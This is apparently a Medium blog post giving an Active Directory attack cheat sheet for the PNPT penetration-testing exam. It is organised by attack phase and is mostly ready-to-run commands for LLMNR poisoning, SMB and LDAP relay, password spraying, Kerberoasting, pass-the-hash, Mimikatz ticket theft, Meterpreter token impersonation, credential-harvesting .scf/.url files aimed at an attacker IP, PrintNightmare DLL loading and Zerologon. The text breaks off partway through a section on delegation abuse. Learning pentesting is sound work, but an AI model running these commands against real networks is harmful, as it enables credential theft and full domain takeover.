Active Directory Attack Cheat Sheet

This is a cheat sheet for Active Directory attack techniques used in TCM Security’s PNPT (Practical Network Penetration Tester) certification exam.

The content is organized step-by-step, following the exact workflow used in real exams and professional penetration testing engagements.

[AD Attack Flow]

Active Directory attacks generally follow this flow:

[External/Internal Network Entry]
Step 1. Pre-Compromise
  Capture hashes/credentials from the network without any prior creds
  (LLMNR Poisoning, SMB Relay, IPv6 Takeover ...)
[User Account or Hash Obtained]
Step 2. Post-Compromise Enumeration
  Map internal AD structure / identify attack paths
  (BloodHound, PowerView, ldapdomaindump ...)
[Attack Target / Path Identified]
Step 3. Post-Compromise Attack
  Privilege escalation / lateral movement
  (Kerberoasting, Pass-the-Hash, Token Impersonation ...)
[High-Privilege Account or DA Rights Obtained]
Step 4. Domain Compromise
  Full takeover of the Domain Controller
  (DCSync, Golden Ticket, NTDS.dit Dump ...)
Step 5. Post-Exploitation & Persistence
  Maintain access / lateral movement / cover tracks
  (Mimikatz, Evil-WinRM, Pivoting ...)

One key thing to keep in mind — most AD attacks rely on credentials or information gathered in previous stages, so thorough documentation at every step is critical.

[Step 1: Pre-Compromise]

In the Pre-Compromise phase, the goal is to capture a user’s hash or credentials from the network without having any prior authentication.

[1–1: LLMNR / NBT-NS Poisoning]

LLMNR and NBT-NS are protocols Windows uses to broadcast a name resolution request across the local network when DNS fails to resolve a hostname.

An attacker can respond to these broadcasts with a spoofed reply, causing the victim to automatically send their authentication hash the moment they attempt a connection — allowing credential capture.

Requirements:

- Must be on the same network (LAN)
- Victim must attempt to access a non-existent hostname (e.g., a typo when accessing a file share)
- LLMNR or NBT-NS must be enabled (Windows default: enabled)

Attack Flow + Tools & Commands:

(Attack Flow)
1. Victim attempts to access \\FIILESRV (typo)
2. DNS lookup fails
3. LLMNR broadcast is sent
4. Attacker's Responder replies to "FIILESRV"
5. Victim sends NTLMv2 hash (must be cracked to obtain credentials)
6. Hash captured successfully
--------------------------------------------------------------------
(Tools & Commands)
# Run Responder (default)
sudo responder -I eth0 -dwv
# Option breakdown
# -I eth0  : specify interface
# -d       : DHCP poisoning
# -w       : enable WPAD proxy server
# -v       : verbose output
# Analysis mode (listen only, no responses)
sudo responder -I eth0 -A

※ Hashes captured by Responder are saved to /usr/share/responder/logs/

※ Captured NTLMv2 hashes cannot be used directly in Pass-the-Hash attacks — you must either crack them to obtain plaintext or relay them via SMB Relay.

[1–2: SMB Relay Attack]

Instead of cracking the NTLMv2 hash captured via LLMNR Poisoning, SMB Relay forwards it in real time to authenticate against another machine.

Because the challenge value changes every time, relaying must happen in real time — essentially a Man-in-the-Middle (MitM) attack.

Requirements:

- At least one machine on the network must have SMB Signing disabled or set to Not Required
- The captured user must have local admin rights on the relay target
- LLMNR/NBT-NS must be enabled
SMB Signing = server-side packet integrity verification

Attack Flow + Tools & Commands:

(Attack Flow)
1. Modify Responder config (disable SMB/HTTP responses)
2. Run ntlmrelayx.py (specify relay targets)
3. Run Responder (hash capture role)
4. Victim sends an LLMNR request
5. Responder replies → victim sends hash
6. ntlmrelayx.py relays the hash to the target machine
7. Dump SAM from target or obtain a shell
--------------------------------------------------------------------
(Tools & Commands)
1 - Modify Responder config
# SMB = Off
# HTTP = Off
# (ntlmrelayx handles these, so disable them in Responder)
sudo nano /etc/responder/Responder.conf
2 - Build target list
# Find machines with SMB Signing disabled and save to file
nmap --script=smb2-security-mode.nse -p 445 192.168.1.0/24 | grep -B5 "not required" | grep "Nmap scan report" | awk '{print $NF}' > targets.txt
Step 3 - Run ntlmrelayx.py
# SAM dump mode = extract all account hashes from target
sudo ntlmrelayx.py -tf targets.txt -smb2support
# Interactive shell mode
sudo ntlmrelayx.py -tf targets.txt -smb2support -i
# Command execution mode = run commands directly on target
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
4 - Run Responder
sudo responder -I eth0 -dwv

※ Hashes obtained via SAM dump are NT hashes — usable with Pass-the-Hash.

[1–3: IPv6 DNS Takeover (mitm6)]

Windows enables IPv6 by default and prioritizes it over IPv4.

If an attacker acts as a rogue DHCPv6 server and registers themselves as the default DNS server on the network, they can relay credentials via LDAP to create a domain admin account and fully compromise the DC.

Requirements:

1. IPv6 must be enabled on the network (Windows default)
2. LDAP Signing must not be required
3. DC must lack LDAPS (port 636) or have a misconfigured LDAPS setup

Attack Flow + Tools & Commands:

(Attack Flow)
1. Run mitm6
2. Victim machines set the attacker as their IPv6 DNS server (rogue DHCPv6 = DNS takeover)
3. Victim queries WPAD or other resources, connecting to attacker
4. ntlmrelayx.py relays credentials to the DC's LDAP
5. Create a new domain admin account or modify ACLs (ACL = access control list for account permissions)
--------------------------------------------------------------------
(Tools & Commands)
Terminal 1 - ntlmrelayx.py
# Create a domain admin account
sudo ntlmrelayx.py -6 -t ldaps://[DC-IP] -wh fakewpad.domain.local -l loot
# Target AD CS = request a domain admin certificate
sudo ntlmrelayx.py -6 -t ldaps://[DC-IP] --delegate-access
Terminal 2 - Run mitm6
sudo mitm6 -d domain.local

[1–4: Password Spraying]

Password Spraying tries a single password against many accounts to avoid triggering account lockout policies.

Requirements:

1. Valid username list required
2. Must verify password policy beforehand (stay under the lockout threshold)
3. Must know common passwords (season+year, company name, Password1!, etc.)

Tools & Commands:

(Attack Flow)
1. Check password policy (identify lockout threshold)
2. Collect usernames (Kerbrute, enum4linux, etc.)
3. Choose one common password (e.g., Password2024!)
4. Attempt the same password across all accounts
5. Successful accounts → begin internal enumeration
--------------------------------------------------------------------
(Username Enumeration)
# Enumerate usernames with Kerbrute (no auth required)
kerbrute userenum -d domain.local --dc [DC-IP] usernames.txt
# enum4linux
enum4linux -U [DC-IP]
# LDAP (requires credentials) — think of it as the company's directory service
crackmapexec smb [DC-IP] -u '' -p '' --users
--------------------------------------------------------------------
(Check Password Policy)
crackmapexec smb [DC-IP] -u [user] -p [pass] --pass-pol
--------------------------------------------------------------------
(Run the Spray)
# Kerbrute (Kerberos-based, fast)
kerbrute passwordspray -d domain.local --dc [DC-IP] usernames.txt "Password2024!"
# CrackMapExec
crackmapexec smb [DC-IP] -u usernames.txt -p "Password2024!" --continue-on-success

[1–5: WPAD Attack]

This attack leverages Responder’s WPAD feature to stand up a rogue proxy server, tricking the victim’s browser into automatically authenticating against it.

Requirements:

1. LLMNR/NBT-NS enabled
2. Victim must open a web browser

Attack Flow + Tools & Commands:

(Attack Flow)
1. Run Responder with -w -F flags
2. Victim's browser auto-discovers WPAD proxy settings
3. Browser broadcasts a WPAD query via LLMNR
4. Responder responds to "WPAD"
5. Browser requests proxy authentication (-F forces Basic Auth)
6. Plaintext credentials captured
--------------------------------------------------------------------
(Commands)
# -w : enable WPAD server
# -F : force Basic Auth (captures plaintext credentials)
sudo responder -I eth0 -wFv

[Step 2: Post-Compromise Enumeration (Internal Enumeration)]

In this phase, the goal is to map the internal AD structure and establish attack paths.

[2–1: BloodHound / SharpHound]

BloodHound and SharpHound collect all AD relationships (users, groups, computers, ACLs, GPOs, etc.) and visualize them as an interactive graph.

Requirements:

1. Valid domain credentials required
2. Must have access within the domain

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain domain user credentials (result of Step 1)
2. Collect full AD data with SharpHound (outputs a ZIP)
3. Transfer ZIP to Kali and import into BloodHound GUI
4. Run "Shortest Path to DA" query
5. Identify attack path → select Step 3 technique
--------------------------------------------------------------------
(Data Collection with SharpHound)
# Run on a Windows victim machine
.\SharpHound.exe -c All --domain domain.local --zipfilename bloodhound.zip
# PowerShell version
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain domain.local -ZipFileName loot.zip
# Remote execution from Kali (with credentials)
bloodhound-python -u [user] -p [pass] -ns [DC-IP] -d domain.local -c All --zip
--------------------------------------------------------------------
BloodHound GUI Analysis
Neo4j 실행: sudo neo4j start
BloodHound 실행 후 ZIP 파일 임포트
Key queries:
"Find Shortest Paths to Domain Admins"
"Find Principals with DCSync Rights"
"List all Kerberoastable Accounts"
"Find Computers where Domain Users are Local Admin"

[2–2: PowerView]

PowerView is a PowerShell-based AD toolkit that provides more granular analysis of specific objects and permissions than BloodHound.

Requirements:

1. Domain user privileges

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access a Windows machine as a domain user
2. Load PowerView.ps1 (. .\PowerView.ps1)
3. Enumerate all domain users, groups, and computers
4. Find accounts with SPNs set → identify Kerberoasting targets
5. Find accounts with pre-auth disabled → identify AS-REP Roasting targets
6. Find-LocalAdminAccess → list machines where you have local admin
7. Analyze ACLs → find misconfigurations → build privilege escalation path
   (misconfigured = accounts with unnecessarily excessive permissions)
--------------------------------------------------------------------
(Key Commands)
# Load module
. .\PowerView.ps1
# Basic domain info
Get-NetDomain
Get-DomainSID
# User enumeration
Get-DomainUser
Get-DomainUser -Identity [username] -Properties *
# Group enumeration
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"
# Computer enumeration
Get-DomainComputer
Get-DomainComputer -Properties Name,IPv4Address
# Find machines where you're a local admin
Find-LocalAdminAccess
# Accounts with SPNs set (Kerberoasting targets)
Get-DomainUser -SPN
# Accounts with Kerberos pre-auth disabled (AS-REP Roasting targets)
Get-DomainUser -PreauthNotRequired
# ACL analysis
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "Domain Users"}
# Share enumeration
Invoke-ShareFinder

[2–3: ldapdomaindump]

ldapdomaindump is a Python tool that directly queries AD via LDAP to pull down domain information.

Requirements:

1. Valid domain credentials

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain domain credentials
2. Run ldapdomaindump → generates HTML/JSON output files
3. domain_users.html → review user list, admin accounts, description fields
4. domain_groups.html → check DA group membership
5. domain_policy.html → review password policy (lockout threshold for spraying)
6. Use collected data to identify targets for subsequent attacks
--------------------------------------------------------------------
(Commands)
ldapdomaindump [DC-IP] -u 'domain.local\[user]' -p '[password]' -o ./loot/
# Output files:
# domain_users.html     → all user information
# domain_groups.html    → group information
# domain_computers.html → computer list
# domain_policy.html    → password policy

[2–4: CrackMapExec (CME / NetExec)]

CME and NetExec are multi-protocol tools supporting SMB, WinRM, LDAP, RDP and more — capable of network-wide scanning, credential testing, enumeration, and remote command execution.

Requirements:

1. Valid credentials or a hash
2. Target ports must be accessible

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain credentials or a hash
2. Test credentials across the entire network range
3. Machines showing (Pwn3d!) = local admin access available
   ([+] = login succeeded only / (Pwn3d!) = local admin rights confirmed)
4. Use --sam / --lsa to dump hashes from those machines
5. Test dumped hashes across the network again (Pass-the-Hash)
6. Discover additional Pwn3d! machines → repeat (hash chaining)
7. Once a DA hash is obtained → pivot to DC
--------------------------------------------------------------------
(Key Commands)
# Credential validation
crackmapexec smb 192.168.1.0/24 -u [user] -p [pass] -d domain.local
# Check for local admin (look for Pwn3d!)
crackmapexec smb 192.168.1.0/24 -u [user] -p [pass] --local-auth
# SAM dump
crackmapexec smb [IP] -u [user] -p [pass] --sam
# LSA Secrets dump
crackmapexec smb [IP] -u [user] -p [pass] --lsa
# Pass-the-Hash (no password)
crackmapexec smb 192.168.1.0/24 -u [user] -H [NTLM-hash] --local-auth
# Check active sessions
crackmapexec smb 192.168.1.0/24 -u [user] -p [pass] --sessions
# Share enumeration
crackmapexec smb [IP] -u [user] -p [pass] --shares
# Execute commands via WinRM
crackmapexec winrm [IP] -u [user] -p [pass] -x 'whoami'

[2–5: enum4linux / rpcclient]

These tools enumerate users, groups, and password policies via SMB null sessions or valid credentials.

Requirements:

SMB null sessions allowed (unauthenticated), or valid credentials

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access the DC with or without credentials
2. Run enum4linux -a for a full info dump in one shot
3. User list → use for Password Spraying or Kerberoasting targets
4. Password policy → get lockout threshold (critical for spraying)
5. Group info → identify DA group members
6. Share list → check for accessible shares
--------------------------------------------------------------------
(Commands)
# enum4linux
enum4linux -a [IP]
enum4linux -U [IP]  # users only
enum4linux -P [IP]  # password policy only
# rpcclient (unauthenticated)
rpcclient -U "" -N [IP]
> enumdomusers      # enumerate users
> enumdomgroups     # enumerate groups
> getdompwinfo      # password policy
# rpcclient (with credentials)
rpcclient -U "domain.local\[user]%[pass]" [IP]

[2–6: Kerbrute (Username Enumeration)]

Kerbrute leverages the Kerberos protocol to enumerate valid usernames without triggering account lockouts.

Requirements:

1. Kerberos port (88) must be accessible on the DC
2. Username wordlist required

Attack Flow + Tools & Commands:

(Attack Flow)
1. Prepare a username wordlist (common names, company naming patterns, etc.)
2. Run Kerbrute userenum to filter for valid usernames only
3. No account lockout triggered (exploits Kerberos AS-REQ error codes)
4. Obtain a list of valid usernames
5. Use for Password Spraying or AS-REP Roasting
--------------------------------------------------------------------
(Commands)
# Username enumeration
kerbrute userenum -d domain.local --dc [DC-IP] usernames.txt -o valid_users.txt
# Password spray
kerbrute passwordspray -d domain.local --dc [DC-IP] valid_users.txt "Password1"

[2–7: GPO / SYSVOL Enumeration]

The SYSVOL share is readable by all authenticated domain users — and sometimes contains encrypted passwords left behind by Group Policy Preferences (GPP) from years past.

※ GPP is a feature that lets admins push configurations to domain machines. Occasionally, when creating accounts via GPP, admins also set passwords — those settings get saved as XML files in SYSVOL, making them a potential attack surface.

Requirements:

1. Valid domain user credentials
2. Environment must have a history of GPP-based password configurations

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access SYSVOL as a domain user (readable by all authenticated users)
2. Search for Groups.xml files under SYSVOL\[domain]\Policies
3. Locate a cPassword field
4. Decrypt with gpp-decrypt or CrackMapExec's gpp_password module
5. Obtain plaintext password (often belongs to a local admin or DA account)
6. Use the account for further attacks
--------------------------------------------------------------------
(Commands)
# From Kali
crackmapexec smb [DC-IP] -u [user] -p [pass] -M gpp_password
# From PowerView
Get-GPPPassword
# Manual enumeration
smbclient //[DC-IP]/SYSVOL -U [user]
# Search for Groups.xml files
find . -name "Groups.xml" 2>/dev/null
# Decrypt cPassword
gpp-decrypt [cPassword value]

[Step 3: Post-Compromise Attack]

In this phase, the goal is to escalate from a standard user account to higher privileges or get close to domain admin.

[3–1: Kerberoasting]

Kerberoasting involves requesting a TGS ticket for a service account that has an SPN set, then cracking the encrypted portion of the ticket offline to recover the service account’s password.

1. Only service accounts can have SPNs set
2. Any domain user can request a TGT
3. With a valid TGT, you can request TGS tickets for SPN-enabled accounts
4. The TGS is encrypted with the service account’s password hash → crackable offline

※ A TGT (Ticket Granting Ticket) is issued upon login in the Kerberos authentication system and is used to prove identity when accessing services within the domain.

Requirements:

1. Domain user credentials (low privilege is fine)
2. At least one service account with an SPN configured
3. Most effective when the service account has a weak password

Attack Flow + Tools & Commands:

(Attack Flow)
1. Log in as a domain user
2. Enumerate SPN-configured service accounts (GetUserSPNs, BloodHound)
3. Request a TGS ticket for the target service account (legitimate Kerberos request)
4. Extract the TGS ticket (contains the portion encrypted with the service account's hash)
5. Crack offline with Hashcat
6. Obtain the service account's plaintext password
7. Use account for further attacks — or gain immediate domain control if it's a DA
--------------------------------------------------------------------
(Find Target Accounts)
# From Kali (Impacket)
GetUserSPNs.py domain.local/[user]:[pass] -dc-ip [DC-IP]
# From PowerView
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName
# BloodHound (GUI)
Queries tab → click "List all Kerberoastable Accounts"
→ Visualizes all SPN-configured accounts
--------------------------------------------------------------------
(Execute the Attack)
# Extract hashes (Impacket)
GetUserSPNs.py domain.local/[user]:[pass] -dc-ip [DC-IP] -request -outputfile kerberoast.txt
# Rubeus (Windows)
.\Rubeus.exe kerberoast /outfile:hashes.txt
--------------------------------------------------------------------
(Crack the Hash)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# -m 13100 = Kerberos 5 TGS-REP etype 23
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

[3–2: AS-REP Roasting]

AS-REP Roasting allows you to request a portion of a TGT without a valid password for accounts that have Kerberos pre-authentication disabled.

Requirements:

1. At least one account with "Do not require Kerberos preauthentication" enabled
2. Can be performed without credentials, but having creds allows you to find more targets

Attack Flow + Tools & Commands:

(Attack Flow)
1. Enumerate accounts with pre-auth disabled (PowerView, BloodHound)
2. Send an unauthenticated AS-REQ to the target account
3. KDC returns part of the TGT encrypted with the account's hash (AS-REP)
4. Extract the encrypted portion
5. Crack offline with Hashcat (-m 18200)
6. Obtain the account's password
--------------------------------------------------------------------
(Find Targets)
# Impacket (no credentials)
GetNPUsers.py domain.local/ -no-pass -usersfile usernames.txt -dc-ip [DC-IP]
# Impacket (with credentials)
GetNPUsers.py domain.local/[user]:[pass] -dc-ip [DC-IP] -request
# PowerView
Get-DomainUser -PreauthNotRequired
--------------------------------------------------------------------
(Crack the Hash)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# -m 18200 = Kerberos 5 AS-REP etype 23

[3–3: Pass-the-Hash (PtH)]

PtH is a technique that uses an NTLM hash to authenticate without needing the plaintext password.

(Works with hashes obtained from SAM dumps, Mimikatz, etc.)

※ NTLMv2 hashes captured by Responder will not work here.

Requirements:

1. Must have an NTLM hash (NTLMv2 hashes are NOT compatible — NTLM only)
2. Target machine must have SMB/WinRM accessible
3. The account must have local admin or domain admin rights on the target

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain NTLM hash via SAM dump or Mimikatz
2. Pass the hash directly into CrackMapExec / psexec.py
3. Target machine accepts NTLM authentication
4. Gain shell or command execution
5. Dump additional hashes or move laterally
--------------------------------------------------------------------
(Execute the Attack)
# CrackMapExec
crackmapexec smb [IP] -u [user] -H [NTLM-hash] --local-auth
# psexec.py (Impacket)
psexec.py [user]@[IP] -hashes :[NTLM-hash]
# wmiexec.py (Impacket)
wmiexec.py [user]@[IP] -hashes :[NTLM-hash]
# evil-winrm (WinRM)
evil-winrm -i [IP] -u [user] -H [NTLM-hash]
- Format: -hashes [LM hash]:[NT hash]
- If no LM hash is available, leave it blank and add the colon: :[NT hash]

[3–4: Pass-the-Ticket (PtT)]

PtT extracts a Kerberos ticket (TGS or TGT) from memory and reuses it to authenticate against other systems.

Get jaejun835’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Requirements:

1. Another user must have an active session on the system
# Tickets only exist in memory while the user is logged in — they vanish on logout
# In other words, that user must currently be logged into the machine
2. SYSTEM or administrator privileges required (for memory access)
# Tickets are stored in the lsass process memory
# lsass is a core Windows process — not accessible by just anyone
# SYSTEM or admin rights are required

Attack Flow + Tools & Commands:

(Attack Flow)
1. Gain admin or SYSTEM privileges
2. Run klist to view Kerberos tickets cached on the current system
3. Extract tickets from memory using Mimikatz / Rubeus (outputs .kirbi files)
4. Inject the stolen ticket into the current session (kerberos::ptt)
5. Access network resources using the injected ticket's privileges
--------------------------------------------------------------------
(Execute the Attack)
# Extract tickets with Mimikatz (Windows)
1. Run mimikatz.exe
2. privilege::debug (privilege escalation)
3. sekurlsa::tickets /export (extract tickets + save as .kirbi files)
4. kerberos::ptt [filename.kirbi] (inject ticket)
5. klist (confirm injection)
# Extract with Rubeus
.\Rubeus.exe dump /nowrap
# Inject ticket (Mimikatz)
mimikatz # kerberos::ptt [ticket.kirbi]
# Inject with Rubeus
.\Rubeus.exe ptt /ticket:[base64-ticket]
# Verify injection
klist

[3–5: Overpass-the-Hash (OPtH)]

OPtH uses an NTLM hash to request a TGT via Kerberos authentication.

Quick comparison:

PtH vs OPtH
Both PtH and OPtH use NTLM hashes — but PtH authenticates via NTLM while OPtH
authenticates via Kerberos, making OPtH significantly more powerful in most scenarios.
That said, PtH is the only option when you only have local account credentials
or when Kerberos port 88 is blocked.

Requirements:

1. NTLM hash in hand
2. Kerberos authentication environment

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain an NTLM hash (SAM dump, Mimikatz, etc.)
2. Use the NTLM hash as an RC4 key to request a TGT from the KDC
3. KDC issues a legitimate TGT (passes if hash is correct)
4. Use the issued TGT for Kerberos-based authentication
5. Access domain services (works even in environments where NTLM is blocked)
--------------------------------------------------------------------
(Execute the Attack)
# Mimikatz
1. Run mimikatz.exe
2. privilege::debug
3. sekurlsa::pth /user:[user] /domain:[domain] /ntlm:[hash] /run:cmd.exe
# Rubeus
.\Rubeus.exe asktgt /user:[user] /rc4:[NTLM-hash] /ptt

[3–6: Token Impersonation]

Windows assigns tokens to running processes, and those tokens can be used to perform actions under a different user’s context.

Token Impersonation abuses this by stealing the token from an active DA session and using it to assume DA privileges.

Requirements:

1. Local admin or SYSTEM privileges on the machine
2. Target user must have an active session or running process on the system

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access the machine as local admin or SYSTEM
2. Run list_tokens -u to view available tokens on the system
3. Identify a DA or high-privilege account token
4. Use impersonate_token to steal it
5. whoami → now running as DA
6. Access the DC or continue with further attacks
--------------------------------------------------------------------
(Execute the Attack)
1. msfconsole
2. use exploit/windows/smb/psexec
3. set payload windows/x64/meterpreter/reverse_tcp
4. set RHOSTS [IP]
5. set SMBUser [user]
6. set SMBPass [pass]
7. run
# Inside Meterpreter
load incognito
list_tokens -u                             # view available tokens
impersonate_token "DOMAIN\\Administrator"  # steal the token
shell
whoami

[3–7: GPP / cPassword Attack (MS14–025)]

(See also: Section 2–7)

Legacy Group Policy Preferences (GPP) allowed admins to push local account passwords, service accounts, and drive mappings across domain machines in bulk.

Passwords were encrypted with AES-256 and stored in SYSVOL — but in 2012, Microsoft accidentally published the encryption key directly in their MSDN documentation, making the ciphertext trivially decryptable by anyone.

Microsoft patched this in 2014 with MS14–025, blocking new passwords from being stored in GPP — but files created before the patch may still be sitting in SYSVOL.

AES Decryption Key:

4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

Requirements:

1. Valid domain user credentials (SYSVOL is readable by all authenticated users)
2. Environment must have a history of GPP-based password configurations
3. GPP files created before MS14-025 must still exist

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access SYSVOL as a domain user (readable by all authenticated users)
2. Recursively search \\[DC]\SYSVOL\[domain]\Policies
3. Look for cPassword fields in Groups.xml, Services.xml, etc.
4. Copy the cPassword value
5. Decrypt with gpp-decrypt (uses the AES key Microsoft leaked)
6. Obtain plaintext password
7. Often belongs to a local Administrator account
8. Propagate across the network via Pass-the-Password or Pass-the-Hash
--------------------------------------------------------------------
(Execute the Attack)
# CrackMapExec automated (fastest)
crackmapexec smb [DC-IP] -u [user] -p [pass] -M gpp_password
# Metasploit
use post/windows/gather/credentials/gpp
# Manual - browse SYSVOL with smbclient
smbclient //[DC-IP]/SYSVOL -U [user]%[pass]
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
1. Download everything locally, then search
grep -r "cpassword" .
2. Decrypt with gpp-decrypt
gpp-decrypt [cPassword value]
3. PowerView (on Windows)
Get-GPPPassword
4. Find specific files only
find /tmp/sysvol -name "*.xml" | xargs grep -l "cpassword" 2>/dev/null
--------------------------------------------------------------------
(Post-Exploitation)
# Usually a local admin password → propagate across the network
crackmapexec smb 192.168.1.0/24 -u Administrator -p [decrypted password] --local-auth
# Pwn3d! machines → SAM dump → harvest more hashes
crackmapexec smb [IP] -u Administrator -p [pass] --local-auth --sam

[3–8: URL File / SCF File Attack (Watering Hole)]

Place a malicious .url or .scf file in a network share — the moment a user opens the folder in Windows Explorer, their NTLM hash is automatically sent to Responder without any further interaction.

Requirements:

1. Write access to a network share
2. Users must actively browse that share

Attack Flow + Tools & Commands:

(Attack Flow)
1. Start Responder (listening for incoming hashes)
2. Find writable network shares (CrackMapExec --shares)
3. Drop @exploit.scf or @exploit.url into the share
4. User opens the folder in Explorer — automatically triggers the payload
5. The file requests an icon/resource from the attacker's IP
6. NTLMv2 hash is automatically sent
7. Responder captures the hash
--------------------------------------------------------------------
(Create Malicious Files)
# .scf file (desktop shortcut file)
cat > @exploit.scf << EOF
[Shell]
Command=2
IconFile=\\[ATTACKER-IP]\share\icon.ico
[Taskbar]
Command=ToggleDesktop
EOF
# .url file
cat > @exploit.url << EOF
[InternetShortcut]
URL=file://[ATTACKER-IP]/share
EOF
--------------------------------------------------------------------
(Deploy to Share)
# Find writable shares with CrackMapExec
crackmapexec smb [TARGET] -u [user] -p [pass] --shares
# Automate with NetExec slinky (creates and deploys in one step)
netexec smb [TARGET-IPs] -u [user] -p [pass] -M slinky -o SERVER=[ATTACKER-IP] NAME=@exploit
--------------------------------------------------------------------
(Start Responder Listener)
sudo responder -I eth0 -v

[3–9: PrintNightmare (CVE-2021–34527)]

A vulnerability in the Windows Print Spooler service that allows remote loading of a malicious DLL to achieve SYSTEM-level code execution.

Requirements:

1. Valid domain user credentials
2. Target machine must be unpatched (pre-July 2021)
3. Print Spooler service must be running

Attack Flow + Tools & Commands:

1. Identify vulnerable machines (check if Print Spooler is running)
2. Prepare the malicious DLL (reverse shell or add a local admin account)
3. Host the DLL on an SMB share from Kali
4. Execute the exploit → target fetches the DLL from attacker's SMB share
5. DLL executes with SYSTEM privileges
6. Reverse shell or new admin account created
--------------------------------------------------------------------
# Check for vulnerability
crackmapexec smb [IP] -u [user] -p [pass] -M printnightmare
# Using cube0x0's exploit
# https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py domain.local/[user]:[pass]@[IP] '\\[ATTACKER-IP]\share\evil.dll'
# Impacket-based
python3 printnightmare.py domain.local/[user]:[pass]@[IP] '\\[ATTACKER-IP]\share\evil.dll'

[3–10: Zerologon (CVE-2020–1472)]

A cryptographic flaw in the Netlogon protocol that allows an unauthenticated attacker to reset a DC’s machine account password to blank — enabling immediate domain compromise.

How it works:

1. Attacker fills the Netlogon packet IV with zeros and sends it to the DC
2. Due to AES-CFB8 behavior, an all-zero IV produces an all-zero ciphertext roughly 1 in 256 times
3. Repeat this process an average of 256 times
4. When the ciphertext comes back as all zeros, the DC decrypts it as a blank password
5. DC accepts the blank password and authenticates
6. DC machine account password is reset to blank
7. Attacker logs into the DC with an empty password → domain compromised

Requirements:

1. Network access to the DC
# ping [DC-IP] succeeds
# Port 445 is open
2. Unpatched DC (pre-August 2020)
3. Warning: This can corrupt the DC in production environments — use with caution

Attack Flow + Tools & Commands:

(Attack Flow)
1. Identify the DC's IP
2. Test for Zerologon vulnerability (zerologon_tester.py)
3. If vulnerable → reset DC machine account password to blank
4. Authenticate to DC machine account with empty password
5. Dump all hashes with secretsdump.py
6. Use DA hash to take over the domain
7. Restore the original DC password — mandatory (skipping this will break the DC)
--------------------------------------------------------------------
(Execute the Attack)
# Test for vulnerability
python3 zerologon_tester.py [DC-NETBIOS-NAME] [DC-IP]
# Exploit (reset DC password to blank)
python3 cve-2020-1472-exploit.py [DC-NETBIOS-NAME] [DC-IP]
# Dump hashes with secretsdump.py
secretsdump.py -no-pass -just-dc [domain]/[DC-NETBIOS-NAME]\$@[DC-IP]
# Restore (restoring the original password is mandatory!)
python3 restorepassword.py [domain]/[DC-NETBIOS-NAME]@[DC-IP] -target-ip [DC-IP] -hexpass [original hex password]

[3–11: ACL / ACE Abuse]

Every object in AD (users, groups, computers) has an ACL — misconfigured permissions like GenericWrite, WriteDACL, or WriteOwner can be leveraged to take over other accounts or escalate privileges.

High-Risk Permissions:

1. GenericAll          - Change target account password, set SPN
2. GenericWrite        - Set SPN (Kerberoasting), modify logon scripts
3. WriteDACL           - Grant yourself DCSync rights
4. WriteOwner          - Change ownership, then acquire permissions
5. ForceChangePassword - Force-change a user's password

Requirements:

1. Valid domain user credentials
2. Must be able to identify misconfigured ACLs via BloodHound or PowerView
3. Your account must hold a dangerous permission on the target object

Attack Flow + Tools & Commands:

(Attack Flow)
1. Use BloodHound to identify misconfigured ACLs
2. Confirm your account holds GenericAll/GenericWrite or similar on the target
3. Choose an attack method based on the permission:
4. GenericWrite → set SPN → Kerberoasting
5. WriteDACL → grant yourself DCSync rights → DCSync
6. ForceChangePassword → force-change target's password
7. WriteOwner → change ownership → acquire GenericAll
8. Use elevated permissions for further attacks
--------------------------------------------------------------------
(Enumeration and Exploitation)
# Visually map attack paths in BloodHound
# Check ACLs on a specific account with PowerView
Get-ObjectAcl -Identity [user] -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDACL"}
# Abuse GenericWrite: set SPN → Kerberoast
Set-DomainObject -Identity [target-user] -Set @{serviceprincipalname='fake/spn'}
# Then proceed with Kerberoasting
# Abuse ForceChangePassword (PowerView)
$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity [target-user] -AccountPassword $SecPassword -Verbose

[3–12: Kerberos Delegation Abuse]

Delegation allows a service to access other services on behalf of a user. Misconfigured delegation settings can be abused for privilege escalation.

Requirements:

1. Valid domain user credentials
2. Unconstrained: must have local admin access on the delegation-enabled machine
3. RBCD: must hold GenericWrite or higher on the target computer object

Attack Flow + Tools & Commands:

(Attack Flow 1 - Unconstrained Delegation)
1. Find machines with Unconstrained Delegation set (BloodHound or PowerView)
2. Gain local admin access to the target machine
3. Set up Rubeus monitor to wait for incoming TGTs
4. Trigger the DC to connect to the machine via PrinterBug/SpoolSample
5. DC's TGT gets cached in memory on that machine
6. Extract the TGT → chain into DCSync or Golden Ticket
--------------------------------------------------------------------
(Attack 1 - Unconstrained Delegation)
# Find targets (can delegate to any service = highest risk)
Get-DomainComputer -Unconstrained
# Force DC to connect (PrinterBug/SpoolSample)
# → DC's TGT gets cached in memory → steal it
.\Rubeus.exe monitor /interval:5 /nowrap
SpoolSample.exe [DC-IP] [ATTACKER-IP]
--------------------------------------------------------------------
(Attack Flow 2 - RBCD)
1. Confirm your account has GenericWrite on the target computer object
2. Create a new machine account or obtain an existing machine account hash
3. Modify the target computer's msDS-AllowedToActOnBehalfOf attribute
4. Use Rubeus s4u to request an Administrator ticket
5. Gain admin access to the target computer
